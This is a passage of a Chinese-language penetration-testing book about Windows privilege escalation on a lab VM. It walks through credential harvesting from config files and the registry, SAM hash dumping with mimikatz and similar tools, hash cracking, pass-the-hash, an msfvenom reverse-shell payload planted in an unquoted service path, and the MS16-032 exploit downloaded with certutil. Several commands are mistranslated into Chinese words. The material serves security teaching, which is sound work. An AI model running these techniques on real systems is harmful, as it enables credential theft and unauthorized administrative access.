需要注意的是，此技术将根据所使用的 Windows 版本以及是否使用了无人值守 Windows 安装工具而有所不同。鉴于无人值守 Windows 安装工具的典型用例，当它在特定于组织的环境中使用时，此方法将非常有用。但是，您可能会遇到使用无人值守 Windows 安装工具的个别系统。

在我们的案例中，我们的目标系统并未使用无人值守 Windows 安装工具进行设置和配置，因此以下技术将不直接适用。但是，这是密码挖掘过程中的一个至关重要的方面：

第一步是搜索并识别剩余的无人值守 Windows 安装配置文件。配置文件的名称会根据已安装的 Windows 版本而异。该文件通常具有以下名称之一：
- Unattend.xml
- Autounattend.xml
配置文件的位置也取决于已安装的 Windows 版本，并且通常可以在以下位置之一找到：

C:\Windows\Panther\Unattend\Unattended.xml

C:\Windows\Panther\Unattdended.xml

如下终端输出所示，如果配置文件存在，它应该包含管理员密码的明文或以 Base64 编码的密码，经过解码后即可揭示明文密码：

<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">

**    **

**     UGFzc3dvcmQxMjM=**

**     true**

**     Administrator**

**    **

**    **

**     **

**      **

**       SENSITIVEDATADELETED**

**       administrators;users**

**       Administrator**

**      **

**     **

**    **

使用 Kali Linux 上的内置 base64 工具可以解密加密密码。可以通过运行以下命令来完成：

echo "<ENCRYPTED-PASSWORD>" | base64 -d
Windows 安装也可以通过名为 Sysprep 的 Windows 工具进行自动化。Sysprep 用于将 Windows 镜像部署到不同的系统，并且也可以与 Windows 无人值守安装工具配合使用，来为镜像的部署做好准备。

同样，Sysprep 也利用包含定制内容和用户凭据的配置文件。如果这些文件没有被清理，它们可能会泄露有用的凭据信息。配置文件的名称会根据安装的 Windows 版本有所不同。该文件通常具有以下名称之一：
- Sysprep.inf
- Sysprep.xml
配置文件的位置还取决于安装的 Windows 版本，通常可以在以下位置找到：

C:\sysprep.inf

C:\sysprep\sysprep.xml

如下截图所示，如果配置文件存在，它应该包含明文的管理员密码：

](Images/B17389_07_004.jpg)

图 7.4 – Sysprep.xml 密码

如果这些配置文件存在，它们提供了一条直接的路径，可以在管理员用户获得提升的权限后进行系统身份验证。
Windows 中另一个重要的部分是注册表。Windows 注册表是一个数据库，负责存储 Windows 系统及其他安装在系统中的应用程序的设置和配置。我们可以搜索注册表中的特定字符串来揭示用户凭据。这可以通过运行以下命令来完成：

reg query HKLM /f password /t REG_SZ /s

reg query HKCU /f password /t REG_SZ /s

如下截图所示，这将输出所有匹配密码字符串的注册表项：

图 7.5 – Windows 注册表搜索

在这个特定案例中，我们没有发现任何有趣的内容。因此，我们将转向查找和枚举特定于应用程序的密码。

搜索应用程序密码

当应用程序存在漏洞和弱点时，它们成为攻击者的诱人目标。它们如何存储凭证可能导致系统完全被攻破或权限提升。

本节将重点介绍如何查找和枚举应用程序凭证。本节演示的技术将取决于你所处理的目标类型以及其部署使用场景。在我们的特定案例中，目标虚拟机被设置为服务器，并安装了各种应用程序。

在 第三章，获取访问权限（利用） 中，我们对目标进行了全面的 Nmap 扫描，并识别出多个应用程序，其中大多数是利用某种形式认证的 web 应用程序。这些是我们可以攻击的应用程序：

MySQL 服务器
phpMyAdmin
WordPress

让我们来学习如何查找和识别这些应用程序用来存储凭证的配置文件：

该过程的第一步是识别正在使用的 web 托管堆栈。正如下面的截图所示，导航到文件系统根目录可以揭示已安装的托管堆栈是 Windows Apache MySQL PHP（WAMP）：

图 7.6 – WAMP

我们可以通过浏览 wamp 目录的内容来确定托管了哪些 web 应用程序。可以通过运行以下命令来实现：

cd wamp\www\

正如下面的截图所示，目录的内容显示 WordPress 已安装在服务器上：

图 7.7 – WordPress 目录

WordPress 是一个内容管理系统，需要一个数据库——在这个案例中是 MySQL——来存储数据和用户凭证。通过远程连接来连接数据库，数据库的访问凭证存储在 wp-config.php 文件中。我们可以通过进入 WordPress 安装目录，并在 Windows 命令行中运行以下命令来列出此文件的内容：

type wp-config.php

正如下面的截图所示，文件的内容揭示了我们可以用来登录的 MySQL 用户名和密码组合：

图 7.8 – wp-config.php MySQL 凭证
在这种情况下，我们可以获取 MySQL 服务器的根用户名和密码，并通过运行以下命令从 Kali 远程登录：

mysql -u root -p -h <TARGET-IP>

如以下截图所示，成功认证后，我们现在应当能够访问 MySQL 服务器的根权限，并查看和导出服务器上任何数据库的内容：

](Images/B17389_07_009.jpg)

图 7.9 – MySQL 登录
我们现在可以导出服务器上的数据库列表。可以通过在 MySQL 提示符下运行以下命令来完成：

show databases;

如以下截图所示，该命令将输出服务器上的数据库列表：

图 7.10 – MySQL 数据库
我们可以通过在 MySQL 提示符下运行以下命令来导出 WordPress 数据库的内容：

use wordpress;

这将显示 WordPress 数据库中的表格列表。我们可以通过运行以下命令导出 WordPress 安装的用户凭证：

select * from wp_users;

如以下截图所示，这将揭示 WordPress 用户的凭证：

](Images/B17389_07_011.jpg)

图 7.11 – WordPress 凭证

用户密码以 MD5 加密，可以解密以显示明文密码。
此外，鉴于我们已拥有 MySQL 服务器的根权限，我们可以通过运行以下命令来更改管理员账户的密码：

update wp_users set user_pass = MD5('password123!') where ID = 1;

我们现在可以使用刚刚设置的密码登录 WordPress 管理后台，并应拥有对 WordPress 网站的管理员控制权限。

到目前为止，我们已控制了 MySQL 服务器和 WordPress 网站。现在，让我们找到其他应用程序的凭证。
服务器还在运行 phpMyAdmin。我们可以通过访问该文件的内容来访问 phpMyAdmin 控制面板，如下所示：

C:\wamp\apps\phpmyadmin3.4.10.1\config.inc.ini.php

如以下截图所示，这将揭示 phpMyAdmin 控制面板的访问凭证：

](Images/B17389_07_012.jpg)

图 7.12 – phpMyAdmin 凭证

我们现在应该已经拥有 phpMyAdmin 控制面板的根权限，并能够创建、修改和删除数据库内容。

现在我们已经控制了 MySQL 服务器和 WordPress 网站，我们可以开始导出 Windows 用户账户的哈希值，以提升我们的权限。

导出 Windows 哈希值

在本节中，我们将更详细地探讨 Windows 密码及其哈希方式。Windows 上的哈希导出过程可以通过各种技术和工具来完成，我们将在本节中探讨大部分技术。在开始使用任何工具或技术之前，我们需要简要了解 Windows 密码是如何存储的。

SAM 数据库

安全帐户管理器（SAM）是一个负责管理 Windows 上用户帐户和密码的数据库。存储在 SAM 数据库中的所有密码都是经过哈希的。用户凭据的认证和验证由本地安全机构（LSA）协助。

SAM 数据库存储在 Windows 注册表中，可以从以下位置访问：

HKEY_LOCAL_MACHINE\SAM

现在我们知道了 Windows 用户凭据存储的位置，我们需要更仔细地查看LanMan（LM）和 NTLM 认证。

LM 和 NTLM 哈希

LM 是由 IBM 开发的一种认证协议，并在 NT4.0 之前广泛应用于 Windows 操作系统。该协议用于加密用户密码，哈希过程可以分解为以下步骤：

密码通过将其分成两个七字符的块来转换为哈希。
所有字符都将转换为大写。
每个块都使用 56 位 DES 密钥进行加密。

LM 通常被认为是一种弱协议，容易被破解，主要原因如下：

56 位的 DES 密钥较弱，且相对容易破解。
由于字符会被转换为大写，因此通过暴力破解或字典攻击，破解过程相对简单。
使用 LM 的 Windows 版本对于用户帐户密码限制最多为 14 个字符。

现在我们了解了 LM 哈希的工作原理，我们可以看看 NTLM 哈希，它在安全性方面优于 LM。

NTLM 是一组在 Windows 中用于促进计算机之间认证的协议。认证过程涉及使用有效的用户名和密码来成功进行认证。

NTLM 认证操作基于客户端-服务器通信模型，并涉及握手过程，类似于 TCP 的三次握手。我们在上一章中探讨了 NTLM 认证过程，所以这里仅探讨 LM 和 NTLM 哈希的区别。

NTLM 操作基于挑战应答系统，哈希过程可以分解为以下步骤：

当用户帐户创建时，它会使用 MD4 哈希算法进行加密，而原始密码则被丢弃。
在认证过程中，用户名被发送到服务器。然后，服务器创建一个 16 字节的随机字符串并发送给客户端。这就是所谓的挑战。
客户端使用数据加密标准（DES）算法加密该字符串与密码哈希，然后将其发送回服务器。这就是所谓的应答。
服务器接着将哈希后的字符串（应答）与原始数据进行比对。如果匹配，则完成认证。

下表突出了 LM 和 NTLM 之间的主要区别，以及每种协议如何处理加密：

现在我们已经了解了 LM 和 NTLM 哈希的工作原理，接下来可以开始探索在目标系统上转储哈希的过程。

使用 PwDump7

我们将使用的第一个工具是PwDump7.exe。它是一个 Windows 二进制程序，用于提取 SAM 数据库并转储哈希值。它需要在目标系统上本地运行。您可以通过以下链接下载该二进制文件：www.tarasco.org/security/pwdump_7/。

下载二进制文件后，我们需要将其传输到目标系统。这可以通过 meterpreter 自动完成，方法是在 meterpreter shell 中运行以下命令：

上传 ~/Downloads/pwdump7/PwDump7.exe

或者，如果您使用的是标准命令行，我们需要在 Kali 虚拟机上设置一个 Web 服务器。这个服务器将用于托管二进制文件，以便我们可以在目标系统上下载它。可以按照这里概述的步骤来完成：

要在我们的 Kali 虚拟机上设置一个 Web 服务器，我们可以使用SimpleHTTPServer Python 模块来提供二进制文件。这可以通过在存储PwDump7.exe二进制文件的目录中运行以下命令来完成：

sudo python -m SimpleHTTPServer 80

要在目标系统上下载PwDump7.exe二进制文件，我们可以使用certutil工具。然而，在下载二进制文件之前，我们需要导航到一个具有读写权限的目录。在这种情况下，我们将导航到当前用户的桌面目录。

现在我们可以使用certutil工具将二进制文件从 Kali 虚拟机下载到目标系统。这可以通过在目标系统上运行以下命令来完成：

certutil -urlcache -f http:///PwDump7.exe PwDump7.exe

如下图所示，如果传输成功，二进制文件应该已经下载并保存为我们指定的名称：

图 7.13 – certutil 成功传输

我们还可以手动保存目标系统上 SAM 文件的注册表值，并使用 PwDdump 工具来转储哈希值。这可以通过在目标系统上运行以下命令来完成：

reg save hklm\sam c:\sam

如果操作成功，您应该会收到一条类似于下图所示的消息：

图 7.14 – 转储 SAM

我们现在可以执行二进制文件，通过运行以下命令来转储哈希值：

.\PwDump7.exe -s

这将从 SAM 数据库中转储 Windows 哈希值，我们将在下一节中破解这些哈希值。

对于我们的目标系统，这种技术将无法工作。然而，它是一个有用的工具，适用于大多数 Windows 版本。

使用 SamDump2

我们还可以手动保存目标系统上 SAM 文件的注册表值，并使用 SamDump2 工具来转储哈希值。这可以通过运行以下命令来完成：

reg save hklm\sam c:\sam

如果操作成功，您应该会收到类似以下截图中突出显示的信息：

](Images/B17389_07_015.jpg)

图 7.15 – 提取 SAM

我们现在可以将 SAM 文件从文件系统根目录下载到我们的 Kali 虚拟机。这可以通过 meterpreter 自动完成，运行以下命令：

download sam

如下截图所示，SAM 文件应该已下载到我们 Kali 主目录中：

](Images/B17389_07_016.jpg)

图 7.16 – 下载 SAM 文件

我们现在可以在 Kali Linux 上使用 SamDump2 工具从文件中提取哈希值。可以通过在 Kali 上运行以下命令来完成此操作：

samdump2 system sam

这将从 SAM 文件中提取哈希值，我们现在可以破解这些哈希以获取明文密码。

此过程也可以通过使用 hashdump meterpreter 命令来自动化，命令如下：

hashdump

如果成功，输出应该会显示系统上所有用户帐户的哈希值，如以下截图所示：

](Images/B17389_07_017.jpg)

图 7.17 – Hashdump

在这种情况下，hashdump 命令会显示系统上所有用户帐户的哈希值。我们可以将这些哈希保存到名为 hashes.txt 的文件中，保存在我们的 Kali 虚拟机上。接下来，我们将讨论如何使用这些哈希值。

使用 Windows 凭据编辑器

另一个我们可以使用的强大工具是 Windows 凭据编辑器，也叫做 WCE。WCE 列出了登录会话及其对应的 NTLM 哈希。该二进制文件预装在 Kali 中，需要在目标系统上本地运行。

我们可以通过运行以下命令，使用 meterpreter 将二进制文件上传到目标系统：

upload /usr/share/windows-resources/wce/wce64.exe

如果您使用的是标准命令行 shell，可以使用 certutil 工具将二进制文件传输到目标系统。

将二进制文件传输到目标系统后，我们可以通过运行以下命令执行该二进制文件：

.\wce64.exe

这将输出一份登录会话及其对应哈希的列表，如以下截图所示：

](Images/B17389_07_018.jpg)

图 7.18 – WCE 哈希

在这种情况下，我们只能提取当前登录用户的哈希值。

我们还可以使用 wce.exe 二进制文件来提取密码哈希及其对应的明文。这可以通过运行以下命令来完成：

.\wce64.exe -w

在这种情况下，我们获取了 vagrant 用户和 SSH 用户的哈希值和明文密码，如以下截图所示：

](Images/B17389_07_019.jpg)

图 7.19 – WCE 明文密码

我们还可以使用另一个很棒的 Metasploit 后渗透模块，从系统中提取密码哈希和访问令牌。将 Meterpreter 会话放到后台后，可以加载以下模块来执行此操作：

use post/windows/gather/credential/credential_collector

现在，我们需要配置该模块并更改相关的模块选项。在这种情况下，唯一需要配置的选项是SESSION选项。我们可以通过运行以下命令来设置SESSION选项：

set SESSION

以下截图概述了需要配置的模块选项，以便运行该模块：

图 7.20 – 模块选项

现在，我们可以通过在 Metasploit 控制台中运行以下命令来启动该模块：

run

如果成功，模块应该会输出一个包含密码哈希和访问令牌的列表，可以用来提升我们的权限，如下图所示：

图 7.21 – 凭证编辑器

在这种情况下，我们从目标系统中获取了所有用户帐户的哈希值。接下来，我们将查看如何利用这些哈希值。

使用 mimikatz

我们还可以使用内置的 Mimikatz Meterpreter 模块（也称为 kiwi）。可以通过运行以下命令将其加载到 Meterpreter 中：

load kiwi

模块加载后，我们可以通过在 Meterpreter 会话中运行以下命令来转储 SAM 数据库的内容：

lsa_dump_sam

这将输出所有用户帐户及其相应的 NTLM 哈希值，如下图所示：

图 7.22 – Mimikatz 哈希

注意

Mimikatz 是一个开源应用程序，允许攻击者查看和保存 Windows 身份验证凭证，用于特权升级。

或者，你可以使用 Kali Linux 中预打包的 Mimikatz 可执行文件。该二进制文件需要在目标系统上本地运行，并可以通过 Meterpreter 自动上传到目标系统，方法是运行以下命令：

upload /usr/share/windows-resources/mimikatz/x64/mimikatz.exe

如果你使用的是标准命令 shell，可以使用certutil工具将二进制文件传输到目标系统。

注意

Mimikatz 需要提升的 shell 才能转储哈希值。

在将二进制文件传输到目标系统后，我们可以通过运行以下命令来执行该二进制文件：

.\mimikatz.exe

执行二进制文件后，我们需要提升权限才能访问 SAM 数据库。可以通过在 Mimikatz 提示符中运行以下命令来实现：

token::elevate

现在，我们可以通过在 Mimikatz 提示符中运行以下命令来转储 SAM 数据库的内容：

lsadump_sam

如果成功，你应该能从 SAM 数据库中检索到提取的哈希值，如下图所示：

图 7.23 – Mimikatz 哈希转储

现在你应该已经可以访问各种账户的密码哈希值了。然而，我们感兴趣的账户是管理员账户，因为它将为我们提供一个直接的途径，将我们的权限提升到最高级别。

在下一部分，我们将开始破解密码哈希的过程，并学习如何利用这些密码进行身份验证。

破解 Windows 哈希值

我们现在可以使用前一部分中提取的密码哈希进行合法身份验证。然而，在此之前，我们仍然需要破解这些哈希值以获得明文密码。

本节将分为两个主要子部分。第一部分将介绍使用 John the Ripper 破解 Windows 密码哈希的过程，而第二部分将涵盖身份验证的过程。

在我们开始提取和破解密码哈希之前，我们需要了解典型 Windows 哈希的结构。

如下图所示，哈希 ID 被分为四个部分：

图 7.24 – 哈希结构

这四个部分可以进一步分类如下：

第一部分是用户名。
第二部分是唯一的 RID。
第三部分是 LM 哈希值。
第四部分是 NTLM 哈希值。

现在我们了解了 Windows 哈希的组成部分，我们可以开始哈希破解过程。

使用 John the Ripper 破解 Windows 哈希值

John the Ripper 是一款开源的密码安全、审计和恢复工具，支持大量的哈希值和加密方式。在我们的案例中，我们将使用 John the Ripper 破解 Windows NTLM 哈希值。

John the Ripper 随 Kali Linux 一起预安装，第一步是将我们在哈希提取部分中提取的密码哈希保存到 Kali Linux 中的一个文件中，最好是 .txt 文件。

在我们的案例中，我们将文件命名为 hashes.txt 并将文件保存在 Kali Linux 的 Desktop 目录中。

文件内容应与以下类似：

图 7.25 – NTLM 哈希值

注意

NTLM 哈希值不应出现在同一行，哈希文件中不应包含其他文本或字符串。

我们现在可以通过在 Kali Linux 中运行以下命令来开始使用 John the Ripper 破解哈希值：

sudo john –format=NT hashes.txt

这将启动哈希破解过程；任何破解成功的哈希值将与其对应的密码一起输出。需要注意的是，破解过程可能根据密码的长度和强度不同，可能需要几分钟到几个小时甚至几天的时间。

你可能还需要限制哈希文件中的哈希数量，只保留最重要的哈希，甚至是管理员账户的哈希。

在这个特定的案例中，John 破解了管理员和vagrant用户账户的哈希值，如以下截图所示：

图 7.26 – 破解的哈希值

现在，我们已经获得了管理员账户的明文密码，可以开始身份验证过程。

身份验证

我们可以利用已导出的哈希和明文密码进行身份验证，从而获得特权访问。这个过程可以通过各种技术来实现。在本小节中，我们将讨论其中的一些方法。

使用传递哈希技术

我们将使用的第一个技术被称为传递哈希。它涉及使用已导出的哈希进行目标身份验证——在这个例子中是管理员哈希。这个攻击可以通过 Metasploit 模块自动化，该模块利用了 Windows 上的PsExec命令行工具。该工具允许你在远程系统上执行程序。

我们可以在将 meterpreter 会话置于后台后，在 Metasploit 中加载该模块，方法是运行以下命令：

使用 exploit/windows/smb/psexec

加载模块后，我们需要配置模块选项。在这种情况下，我们需要配置RHOSTS选项，并配置服务器消息块（SMB）凭据。我们将SMBUser设置为Administrator，并将SMBPass选项设置为管理员哈希，如下截图所示：

图 7.27 – psexec 模块选项

配置好模块选项后，我们可以通过在 Metasploit 控制台中运行以下命令来启动模块：

运行

如下截图所示，如果模块成功运行，我们应该会收到一个具有提升权限的 meterpreter 会话：

图 7.28 – 传递哈希成功

这样，我们就成功地利用密码哈希提升了我们的权限。

使用 Remmina

在我们对目标进行初步的 Nmap 扫描时，发现远程桌面协议（RDP）服务运行在默认配置端口，也就是3389。我们可以利用破解出的管理员账户明文密码来进行身份验证，并与服务器建立具有提升权限的远程桌面连接。

这可以通过使用像 Remmina 这样的 RDP 客户端来实现，Remmina 是 Kali Linux 中预装的工具。

你可以通过应用启动菜单或通过终端启动 Remmina。完成后，你需要输入目标的 IP 地址，如下截图所示：

图 7.29 – Remmina IP 配置

在指定目标 IP 后，系统会提示你提供凭证进行身份验证。在这种情况下，我们将使用管理员凭证，如下图所示：

图 7.30 – Remmina 凭据

如果身份验证成功，我们应该会收到一个远程桌面会话，并且应该以管理员账户登录，并拥有提升的权限，如下图所示：

图 7.31 – Remmina RDP 会话

通过这些操作，我们已经成功地利用转储和破解的密码哈希值提升了权限。

现在，你应该已经熟悉了在文件中搜索和识别密码的过程，以及为了提升权限而转储和破解 Windows NTLM 哈希值的过程。

总结

在本章中，我们学习了如何在 Windows 配置文件中查找和识别密码，接着介绍了可以用于搜索特定字符串的各种工具。我们还讨论了如何在配置文件中查找和识别应用程序密码，以及如何使用这些凭证来扩展我们的控制范围。最后，我们深入探讨了如何转储 Windows NTLM 哈希值以及如何破解它们以提升权限。

在下一章中，我们将探讨通过利用各种 Windows 服务来提升权限的过程。

第八章：利用服务

现在你已经对 Windows 上常见的权限提升攻击向量有了较好的了解，我们可以更深入地研究 Windows 服务，并开始探索那些利用服务中的漏洞和配置错误来提升权限的技术。本章的目标是识别并利用 Windows 服务中常见的漏洞和配置错误。

我们将探讨识别和利用未加引号的服务路径和弱服务权限的过程，然后我们将看看如何利用 Windows 次级登录来提升我们的权限。我们还将深入研究识别和劫持丢失的动态链接库（DLLs）的过程。

在本章中，我们将涵盖以下主要内容：

利用服务和配置错误
利用未加引号的服务路径
利用次级登录
利用弱服务权限
DLL 劫持

技术要求

为了跟随本章中的演示，你需要确保熟悉 Windows CMD 命令。

你可以在这里查看本章的代码示例：bit.ly/3utJTyI

利用服务和配置错误

Windows 利用各种服务来管理和维持标准系统功能，如启动服务、配置启动程序、身份验证和软件安装等等。我们的目标是找到这些服务中的漏洞和配置错误，从而提升我们的权限。

这个过程是动态的，因此将依赖于目标配置和部署的使用情况，主要是因为涉及的技术将依赖于特定服务的实现和配置。

鉴于这一过程的强大性质和所使用的技术，我们将使用我们在本书的第二章“搭建我们的实验环境”中设置的 Metasploitable3 虚拟机。

这是因为 Metasploitable3 虚拟机运行在 Windows Server 2008 上，并且已配置为作为服务器运行，同时托管各种服务和应用程序。

这个强大的应用程序配置提供了一个非常现实的场景，可以实际演示我们将在本章中使用的工具和技术。

在我们开始之前，请确保你已经在目标系统上站稳了脚跟，并且能够通过命令行或 Meterpreter 会话访问该系统。

本章中使用的技术和工具将涉及利用本地 Windows 命令和特定的 Meterpreter 模块来自动化该过程的各个方面。

利用未加引号的服务路径

在启动或运行服务时，Windows 需要目标可执行文件的位置来执行。可执行文件的路径通常用引号括起来，这样 Windows 就能定位可执行文件的路径或位置。以下路径是一个安全的服务路径示例：

"C:\Program Files\OpenSSH\bin\cygrunsrv.exe"

如果可执行文件的路径没有被引号包围，Windows 将会搜索每个目录并执行每个文件，直到找到目标可执行文件。我们可以利用此漏洞，通过识别一个在管理员权限下运行且未被引号包围的服务来提升我们的权限。以下路径是我们可以利用的不安全服务路径示例：

C:\Program Files\OpenSSH\bin\cygrunsrv.exe

利用过程涉及生成并上传一个二进制文件到目标系统，当执行时，它将为我们提供一个提权的反向 shell 或 Meterpreter 会话。

可以按照以下步骤重现此技术：

该过程的第一步是识别未被引号包围的服务路径，可以通过使用Windows 管理工具（WMIC）接口结合findstr工具来完成。在目标系统的 Windows 命令行中运行以下命令即可完成此操作：

wmic service get name,displayname,pathname,startmode |findstr /i /v "c:\" |findstr /i /v """

此命令将输出一个带有未加引号服务路径的服务列表；在我们的案例中，我们能够识别出许多未加引号的服务路径，且可以利用它们。如以下截图所示，我们可以利用 OpenSSH 服务路径：

图 8.1 – 查找未加引号的服务路径

我们使用 OpenSSH 服务的原因是该服务需要管理员权限才能运行，因此它是在管理员用户下执行的。
下一步是检查目录权限，以确定我们是否能够写入或更改 OpenSSH 服务目录的内容。我们可以使用完整性控制访问控制列表（icacls）工具检查目录的权限，通过运行以下命令：

icacls "C:\Program Files\OpenSSH"

如下截图所示，运行此命令会输出目录权限；在此案例中，系统上的标准用户具有写入权限，因此我们可以修改该目录的内容，因为我们是BUILTIN\Users组的成员：

图 8.2 – 服务路径权限

我们可以利用这个错误配置来提升权限，通过将 OpenSSH 可执行文件替换为反向 shell 二进制文件。一旦 OpenSSH 服务已启动或重新启动，反向 shell 二进制文件将被执行，而不是 OpenSSH 可执行文件。

提示

反向 shell 有效负载应该与我们尝试利用的服务名称相同，并且应该上传到我们之前确定的相应服务路径。
我们可以使用msfvenom生成 Meterpreter 有效负载并将其保存为可执行文件。可以通过在 Kali 中运行以下命令来实现：

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<LISTENER-IP> LPORT=<PORT> -f exe > /home/kali/Desktop/cygrunsrv.exe
在生成有效负载后，我们可以将其上传到 OpenSSH 服务路径，如下所示：

C:\Program Files\OpenSSH\bin
在上传 Meterpreter 有效负载之前，我们需要更改原始二进制文件的名称。然而，建议在该过程没有按预期工作时备份原始二进制文件。可以通过在 Meterpreter 会话中运行以下命令删除原始可执行文件：

删除 cygrunsrv.exe
我们现在可以通过运行以下命令，将 Meterpreter 可执行文件上传到目标的 OpenSSH 服务路径：

上传 /home/kali/Desktop/cygrunsrv.exe

如果你使用的是标准命令 shell，可以使用 certutil 工具将二进制文件传输到目标系统。
如下图所示，这将把 Meterpreter 可执行文件上传到 OpenSSH 服务路径：![图 8.3 – 上传 Meterpreter 有效负载]

](Images/B17389_08_003.jpg)

图 8.3 – 上传 Meterpreter 有效负载
我们现在需要使用 Metasploit 设置 Meterpreter 监听器。这可以通过在 Metasploit 控制台中运行以下命令来完成：

使用 /exploit/multi/handler
下一步是指定我们用 msfvenom 创建二进制文件时所使用的有效负载。这可以通过运行以下命令来完成：

设置有效负载 /windows/x64/meterpreter/reverse_tcp
我们现在需要配置模块选项。在此情况下，我们需要配置 LHOST 和 LPORT 选项，如下图所示：![图 8.4 – Meterpreter 有效负载选项]

](Images/B17389_08_004.jpg)

图 8.4 – Meterpreter 有效负载选项
在设置模块选项后，我们可以通过运行以下命令启动监听器：

运行

监听器将会监听来自我们使用msfvenom生成的有效负载的任何传入连接。
为了执行 Meterpreter 可执行文件，我们需要重启 OpenSSH 服务。这可以通过在 Windows 命令 shell 中运行以下命令来完成：

sc stop OpenSSHd

sc start OpenSSHd
如下图所示，这将重新启动 OpenSSH 服务，接着我们应该会在监听器上收到一个特权的 Meterpreter 会话：![图 8.5 – Meterpreter 会话]

](Images/B17389_08_005.jpg)

图 8.5 – Meterpreter 会话
我们可以通过运行以下命令来验证我们是否有升级的 Meterpreter 会话：

getuid

如下截图所示，我们已成功提升权限，并应该具有具有管理权限的 Meterpreter 会话：

图 8.6 – 未引用服务路径 Meterpreter 权限
我们还可以通过使用 Metasploit 模块自动化流程来识别和利用具有未引用服务路径的目标服务，并自动上传一个提供我们升级 Meterpreter 会话的反向 shell 有效负载。这可以通过在 Metasploit 控制台中运行以下命令来完成：

use exploit/windows/local/unquoted_service_path

加载模块后，我们需要配置模块选项。在这种情况下，我们需要配置SESSION ID 和目标有效负载，如下截图所示：

图 8.7 – 未引用服务路径模块选项
在配置模块选项后，我们可以通过在 Metasploit 控制台中运行以下命令来启动模块：

run

如下截图所示，如果模块成功运行，我们应该收到一个具有提升权限的 Meterpreter 会话：

图 8.8 – 未引用服务路径 Meterpreter 会话
我们可以通过运行以下命令来验证我们是否有升级的 Meterpreter 会话：

getuid

如下截图所示，我们已成功提升权限，并应该具有具有管理权限的 Meterpreter 会话：

图 8.9 – 未引用服务路径 Meterpreter 权限

我们现在已成功通过未引用服务路径提升了权限，并可以探索利用次级登录句柄的过程。

利用次级登录

次级登录是 Windows 服务，管理员可以通过标准系统帐户执行管理任务。该服务可以通过影响以下 Windows 版本的固有漏洞而被利用：

Windows 7
Windows Server 2008
Windows 8.1
Windows Server 2012
Windows 10

利用过程利用了次级登录服务中句柄的不规范化，这可以允许用户复制系统服务线程句柄。

在本节中，我们将看看如何手动和自动利用 Metasploit 框架来利用此漏洞。然而，需要注意的是，利用需要满足一定的依赖关系才能使此过程正常工作：

目标系统应该有两个或更多 CPU 核心。
目标系统应运行 PowerShell V2.0 或更高版本。

有关此漏洞的更多信息，请参见：docs.microsoft.com/en-us/security-updates/securitybulletins/2016/ms16-032。

在我们开始之前，请确保你已经在目标系统上占据了一个立足点，并通过命令行外壳或 Meterpreter 会话获取访问权限。

现在我们已经了解了利用过程的工作原理，我们可以看看如何利用这个漏洞来提升我们的权限：

我们已经深入了解了如何在第四章《执行本地枚举》中搜索和识别漏洞，并能够推断出 Metasploitable3 虚拟机易受此攻击。我们可以通过利用 Metasploit 模块来自动化利用过程，来开始这一过程。可以通过在 Metasploit 控制台中加载以下模块来实现：

use exploit/windows/local/ms16_032_secondary_logon_handle_privesc

加载模块后，我们需要配置模块选项。在这种情况下，我们需要设置默认有效载荷、会话 ID、LPORT 和 LHOST 选项，如下截图所示：

图 8.10 – 次级登录句柄模块选项
配置完模块选项后，我们可以通过在 Metasploit 控制台中运行以下命令来启动该模块：

run

如下截图所示，如果模块成功运行，我们应该会收到一个具有提升权限的 Meterpreter 会话：

图 8.11 – 次级登录句柄利用成功
我们可以通过运行以下命令来验证我们是否拥有提升权限的 Meterpreter 会话：

getuid

如下截图所示，我们已经成功提升了权限，并应当拥有一个具有管理员权限的 Meterpreter 会话：

图 8.12 – 次级登录句柄 Meterpreter 权限
另外，如果你无法通过 Meterpreter 会话访问目标系统，你可以编译利用程序并将其传输到目标系统。该漏洞的预构建利用程序二进制文件可以在这里找到：github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-032。

如下截图所示，GitHub 仓库包含了一个 PowerShell 脚本和适用于 x64 和 x86 系统的预构建二进制文件：

图 8.13 – MS16_032 GitHub 仓库

然而，建议您自己分析并编译利用代码。该漏洞的源代码可以在这里找到：github.com/khr0x40sh/ms16-032。

下载或编译二进制文件后，我们需要将其传输到目标系统。这可以通过以下过程来实现：

要在我们的 Kali 虚拟机上设置一个 Web 服务器，我们可以使用SimpleHTTPServer Python 模块来提供二进制文件。可以通过在存储ms16-032.exe二进制文件的目录中运行以下命令来实现：

sudo python -m SimpleHTTPServer 80
或者，您也可以通过运行以下命令使用 Python 3 的http.server模块：

sudo python3 -m http.server 80
现在我们可以使用certutil工具将二进制文件从 Kali 虚拟机下载到目标系统。可以通过在目标系统上运行以下命令来实现：

certutil -urlcache -f http://<KALI-VM-IP>/ms16-032.exe ms16-032.exe
现在我们可以执行ms16-032.exe二进制文件。可以通过运行以下命令来实现：

.\ms-16-032.exe

如果二进制文件成功运行，您应该会收到类似于以下截图中突出显示的输出：

图 8.14 – MS16-032 手动利用

我们已经成功地通过手动和自动方式利用次级登录服务提升了权限。

现在，我们来看看如何识别和利用弱服务权限来提升我们的权限。

利用弱服务权限

此利用涉及利用配置不当的服务权限来提升我们的权限。此过程的目标是识别以SYSTEM或管理员权限运行的服务，并利用该服务的错误权限配置，通过BINARY_PATH_NAME参数执行任意命令。

我们可以利用这个漏洞将标准用户添加到本地管理员组，从而在系统上提升权限。

利用过程可以按照以下步骤进行：

该过程的第一步是识别标准用户可以访问的服务和应用程序。可以通过使用accesschk工具来简化此过程，该工具位于Sysinternals套件中。accesschk可执行文件可以从这里下载：docs.microsoft.com/en-us/sysinternals/downloads/accesschk。
将accesschk可执行文件下载到我们的 Kali 虚拟机后，我们需要将其传输到目标系统。这可以通过 Meterpreter 运行以下命令来实现：

upload /<PATH-TO-EXECUTABLE/accesschk64.exe

如果你正在使用标准命令行，可以使用certutil工具将二进制文件传输到目标系统。
在将accesschk.exe二进制文件上传到目标系统后，我们可以通过运行以下命令列举标准用户可以访问的服务列表：

.\accesschk64.exe -uwcqv "vagrant" * -accepteula
在我们的案例中，我们将使用标准的vagrant用户。如以下截图所示，命令应该输出具有SERVICE_ALL_ACCESS权限的服务列表：

注意

SERVICE_ALL_ACCESS权限允许系统上的任何用户控制并修改服务的参数。

图 8.15 – accesschk 结果

我们能够识别出具有SERVICE_ALL_ACCESS权限的大量服务。在我们的案例中，我们将主要针对 OpenSSH 服务，因为我们已经确认它以SYSTEM或管理员权限运行。
下一步是列举与服务及其相应参数相关的其他信息。这可以通过在 Windows 命令行中运行以下命令来完成：

sc qc OpenSSHd

